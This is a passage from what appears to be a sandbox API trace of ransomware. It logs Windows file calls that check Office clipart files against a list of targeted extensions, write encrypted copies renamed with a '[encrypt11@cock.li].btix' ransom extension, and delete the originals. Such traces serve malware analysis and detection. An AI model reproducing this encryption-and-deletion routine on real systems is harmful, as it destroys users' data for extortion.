office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0141.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.859] lstrlenW (lpString=".doc") returned 4 [0141.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.859] lstrlenW (lpString=".docx") returned 5 [0141.859] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.859] lstrlenW (lpString=".pdf") returned 4 [0141.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString=".xls") returned 4 [0141.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.860] lstrlenW (lpString=".xlsx") returned 5 [0141.860] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.860] lstrlenW (lpString=".ppt") returned 4 [0141.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.860] lstrlenW (lpString=".zip") returned 4 [0141.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.860] lstrlenW (lpString=".rar") returned 4 [0141.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString=".bz2") returned 4 [0141.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString=".7z") returned 3 [0141.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.860] lstrlenW (lpString=".dbf") returned 4 [0141.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.860] lstrlenW (lpString=".1cd") returned 4 [0141.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.860] lstrlenW (lpString=".jpg") returned 4 [0141.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.861] lstrlenW (lpString=".doc") returned 4 [0141.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.861] lstrlenW (lpString=".docx") returned 5 [0141.861] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.861] lstrlenW (lpString=".pdf") returned 4 [0141.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.861] lstrlenW (lpString=".xls") returned 4 [0141.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.861] lstrlenW (lpString=".xlsx") returned 5 [0141.861] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.861] lstrlenW (lpString=".ppt") returned 4 [0141.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.861] lstrlenW (lpString=".zip") returned 4 [0141.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.861] lstrlenW (lpString=".rar") returned 4 [0141.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.861] lstrlenW (lpString=".bz2") returned 4 [0141.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.861] lstrlenW (lpString=".7z") returned 3 [0141.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.861] lstrlenW (lpString=".dbf") returned 4 [0141.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.862] lstrlenW (lpString=".1cd") returned 4 [0141.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0141.862] lstrlenW (lpString=".jpg") returned 4 [0141.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.862] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.862] lstrlenW (lpString="J0105232.WMF") returned 12 [0141.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.863] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5632) returned 1 [0141.863] CloseHandle (hObject=0x3b0) returned 1 [0141.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0141.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.863] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.864] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.864] GetLastError () returned 0x0 [0141.864] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1600, lpOverlapped=0x0) returned 1 [0141.877] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1610, lpOverlapped=0x0) returned 1 [0141.878] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0141.878] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0141.878] SetEndOfFile (hFile=0x38c) returned 1 [0141.878] CloseHandle (hObject=0x38c) returned 1 [0141.878] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.878] SetEndOfFile (hFile=0x3b0) returned 1 [0141.882] CloseHandle (hObject=0x3b0) returned 1 [0141.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0141.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.883] lstrlenW (lpString=".doc") returned 4 [0141.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString=".docx") returned 5 [0141.883] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.883] lstrlenW (lpString=".pdf") returned 4 [0141.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString=".xls") returned 4 [0141.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.883] lstrlenW (lpString=".xlsx") returned 5 [0141.883] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.883] lstrlenW (lpString=".ppt") returned 4 [0141.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.883] lstrlenW (lpString=".zip") returned 4 [0141.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.883] lstrlenW (lpString=".rar") returned 4 [0141.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString=".bz2") returned 4 [0141.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString=".7z") returned 3 [0141.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.883] lstrlenW (lpString=".dbf") returned 4 [0141.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.883] lstrlenW (lpString=".1cd") returned 4 [0141.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.884] lstrlenW (lpString=".jpg") returned 4 [0141.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.884] lstrlenW (lpString=".doc") returned 4 [0141.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString=".docx") returned 5 [0141.884] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.884] lstrlenW (lpString=".pdf") returned 4 [0141.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString=".xls") returned 4 [0141.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.884] lstrlenW (lpString=".xlsx") returned 5 [0141.884] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.884] lstrlenW (lpString=".ppt") returned 4 [0141.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.884] lstrlenW (lpString=".zip") returned 4 [0141.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.884] lstrlenW (lpString=".rar") returned 4 [0141.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString=".bz2") returned 4 [0141.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.884] lstrlenW (lpString=".7z") returned 3 [0141.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.885] lstrlenW (lpString=".dbf") returned 4 [0141.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.885] lstrlenW (lpString=".1cd") returned 4 [0141.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0141.885] lstrlenW (lpString=".jpg") returned 4 [0141.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.885] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.885] lstrlenW (lpString="J0105234.WMF") returned 12 [0141.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.886] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3444) returned 1 [0141.886] CloseHandle (hObject=0x3b0) returned 1 [0141.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0141.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.887] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.887] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.888] GetLastError () returned 0x0 [0141.888] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xd74, lpOverlapped=0x0) returned 1 [0141.889] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xd80, lpOverlapped=0x0) returned 1 [0141.890] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0141.890] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0141.890] SetEndOfFile (hFile=0x38c) returned 1 [0141.891] CloseHandle (hObject=0x38c) returned 1 [0141.891] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.891] SetEndOfFile (hFile=0x3b0) returned 1 [0141.893] CloseHandle (hObject=0x3b0) returned 1 [0141.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0141.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.894] lstrlenW (lpString=".doc") returned 4 [0141.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.894] lstrlenW (lpString=".docx") returned 5 [0141.894] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.894] lstrlenW (lpString=".pdf") returned 4 [0141.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.894] lstrlenW (lpString=".xls") returned 4 [0141.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.894] lstrlenW (lpString=".xlsx") returned 5 [0141.894] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.894] lstrlenW (lpString=".ppt") returned 4 [0141.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.894] lstrlenW (lpString=".zip") returned 4 [0141.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.894] lstrlenW (lpString=".rar") returned 4 [0141.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.894] lstrlenW (lpString=".bz2") returned 4 [0141.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.894] lstrlenW (lpString=".7z") returned 3 [0141.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.895] lstrlenW (lpString=".dbf") returned 4 [0141.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.895] lstrlenW (lpString=".1cd") returned 4 [0141.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.895] lstrlenW (lpString=".jpg") returned 4 [0141.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.895] lstrlenW (lpString=".doc") returned 4 [0141.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString=".docx") returned 5 [0141.896] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.896] lstrlenW (lpString=".pdf") returned 4 [0141.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString=".xls") returned 4 [0141.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.896] lstrlenW (lpString=".xlsx") returned 5 [0141.896] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.896] lstrlenW (lpString=".ppt") returned 4 [0141.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.896] lstrlenW (lpString=".zip") returned 4 [0141.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.896] lstrlenW (lpString=".rar") returned 4 [0141.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString=".bz2") returned 4 [0141.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString=".7z") returned 3 [0141.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.896] lstrlenW (lpString=".dbf") returned 4 [0141.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.896] lstrlenW (lpString=".1cd") returned 4 [0141.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0141.896] lstrlenW (lpString=".jpg") returned 4 [0141.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.896] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.897] lstrlenW (lpString="J0105238.WMF") returned 12 [0141.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.897] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=17172) returned 1 [0141.897] CloseHandle (hObject=0x3b0) returned 1 [0141.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0141.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0141.898] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.898] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0141.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.898] GetLastError () returned 0x0 [0141.898] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x4314, lpOverlapped=0x0) returned 1 [0142.159] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4320, lpOverlapped=0x0) returned 1 [0142.161] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.161] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0142.161] SetEndOfFile (hFile=0x38c) returned 1 [0142.161] CloseHandle (hObject=0x38c) returned 1 [0142.161] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.161] SetEndOfFile (hFile=0x3b0) returned 1 [0142.163] CloseHandle (hObject=0x3b0) returned 1 [0142.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0142.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0142.164] lstrlenW (lpString=".doc") returned 4 [0142.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.164] lstrlenW (lpString=".docx") returned 